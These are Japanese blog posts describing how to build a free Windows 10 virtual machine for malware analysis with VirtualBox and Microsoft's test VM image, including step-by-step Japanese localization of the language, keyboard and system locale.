普通の?Windowsなら壁紙が変更されているんだけど、これは評価版なんで変更されない様子。でも、ツールはインストールされているので大丈夫。

f:id:appleseedj073:20171105014808p:plain

ツールの一部

・デバッガー

f:id:appleseedj073:20171105014950p:plain

・ネットワーク系

f:id:appleseedj073:20171105015004p:plain

 

さぁ、これでmalwareの解析がんばってみよう!

 

 

Re:ゼロ円から始める解析者生活 【日本語化】

f:id:appleseedj073:20170815221420p:plain

前回までの話

ra66itblog.hateblo.jp

日本語化

インポートしたままだと英語環境で、さすがに厳しかったので日本語化した。

 

1. 「Contorol Panel」→「Clock, Language, an Region」を選択

f:id:appleseedj073:20171104223112p:plain

2. 続いて「Add a language」を選択

f:id:appleseedj073:20171104224026p:plain

3. 「Add a language」を選択

f:id:appleseedj073:20171104224039p:plain

4. 「日本語」を選択して「Add」を選択

f:id:appleseedj073:20171104223318p:plain

5. 日本語の並びの「Options」を選択

f:id:appleseedj073:20171104223607p:plain

6. 「Download and install language pack」を選択

f:id:appleseedj073:20171104223407p:plain

7. 「Yes」を選択

8. ダウンロードが開始されるのでしばらく待機

f:id:appleseedj073:20171104223447p:plain

9. ダウンロードとインストールが完了したら「日本語」を選択した状態で「Move up」を選択

f:id:appleseedj073:20171104224439p:plain

f:id:appleseedj073:20171104224457p:plain

10. 「日本語」が選択されている状態で、画面左下の「Location」を選択

f:id:appleseedj073:20171104225841p:plain

11. 「Home location」をドロップダウンリストより「Japan」を選択

f:id:appleseedj073:20171104225858p:plain

12. 「Location」タブの隣の「Administrative」タブを選択し「Copy settings...」を選択

f:id:appleseedj073:20171104225916p:plain

13. 「Apply」を選択

f:id:appleseedj073:20171104225930p:plain

14. 出てきた画面下部のチェックボックス2つにチェックを入れて「OK」を選択

f:id:appleseedj073:20171104225953p:plain

f:id:appleseedj073:20171104230002p:plain

15. 再起動

f:id:appleseedj073:20171104230139p:plain

 

キーボードレイアウトの日本語化

英語キーボードの設定になったままだと色々と不都合なので日本語キーボードに変更した

1. 「Windows」→「設定」を選択

f:id:appleseedj073:20171104231848p:plain

2. 「時刻と言語」を選択

f:id:appleseedj073:20171104231919p:plain

3. 左側の「地域と言語」を選択

f:id:appleseedj073:20171104231934p:plain

3-1. この際、タイムゾーンもついでに変更しておくと便利

f:id:appleseedj073:20171104231950p:plain

4. 日本語の「オプション」を選択

f:id:appleseedj073:20171104232006p:plain

5. ハードウェア キーボードレイアウトの「レイアウトを変更する」を選択

f:id:appleseedj073:20171104232029p:plain

6. 英語キーボードから日本語キーボードに変更して「サインアウト」を選択

f:id:appleseedj073:20171104232048p:plain

7. ログインするをキーボードレイアウトが変更されている

 

システムロケールの変更

いちおシステムロケールを変更しておく

1. 「コントロールパネル」→「時計、言語、および地域」→「言語」→「場所」

2. 「管理」タブの「システムロケールの変更」を選択

f:id:appleseedj073:20171105000203p:plain

3. 「地域の設定」でドロップダウンリストより「日本語(日本)」を選択して「OK」を選択

f:id:appleseedj073:20171105000218p:plain

4. 再起動して設定完了

f:id:appleseedj073:20171105000240p:plain

 

解析環境へつづく・・・

 

Re:ゼロ円から始める解析者生活 【導入】

f:id:appleseedj073:20170815221420p:plain

Malwareの解析をやりたいなぁって思った。

でも、ウチはMacで、Windowsじゃないんだよね(T ^ T)

Macでも解析はできなくはないと思うけどやっぱりWindowsが良いよね。でも、仮想環境からOSまで揃えるとかなりの出費になる・・・。

そんな金はない!

てな訳で、お金をかけないで仮想化したWindowsの解析環境を作れないか追求してみる!

 

仮想環境

お金をかけない仮想環境といったらやっぱり「Oracle VM VirtualBox」と、個人的に思っているので、ダウンロードして使うことにする。別に「VMware Workstation Player」でも良いんだけど俺の記憶だとスナップショットが使えないような気がしたのでVirtualBoxを利用してます。

f:id:appleseedj073:20171104181843p:plain

あとは、インストールするだけ。これで仮想環境の準備完了。

 

次にOS、それもWindows。もし、自分は金銭的に余裕あるんで購入します!とか、会社のアカウントでいくらでもダウンロードできるんで大丈夫って人は読み飛ばしてくださいw

実は、Microsoftでは検証用にと無料でWindowsがダウンロードできる仕組みがあります。それが「Microsoft Edge - Microsoft Developer」です。

eveloper.microsoft.com

f:id:appleseedj073:20171104210552p:plain

1. 「Virtual Machines」を選択
2. 「Select a download」の「Virtual machine」ドロップダウンリストより必要なOSのバージョンを選択(今回はWindows10を選択)

f:id:appleseedj073:20171104211808p:plain
3. 「Select platform」のドロップダウンリストより仮想マシンを選択(Virtual Boxを使うので選択)

f:id:appleseedj073:20171104211832p:plain
4. 選択した内容を確認しダウンロード

f:id:appleseedj073:20171104211905p:plain

5. ダウンロードしてきたzipを解凍して、フォルダ内の「MSEdge - Win10.ovf」をVirtual Boxでインポートする。

f:id:appleseedj073:20171104214535p:plain

f:id:appleseedj073:20171104214645p:plain

6. インポート完了

f:id:appleseedj073:20171104214842p:plain

※ ちなみにこのWindowsは、あくまで検証用なので90日しか利用できないので気をつけてください。

 

起動

VirtualBoxより「起動」を選択してインポートした仮想マシンを起動する。パスワードは「Passw0rd!」

f:id:appleseedj073:20171104220054p:plain

 

日本語化へ続く・・・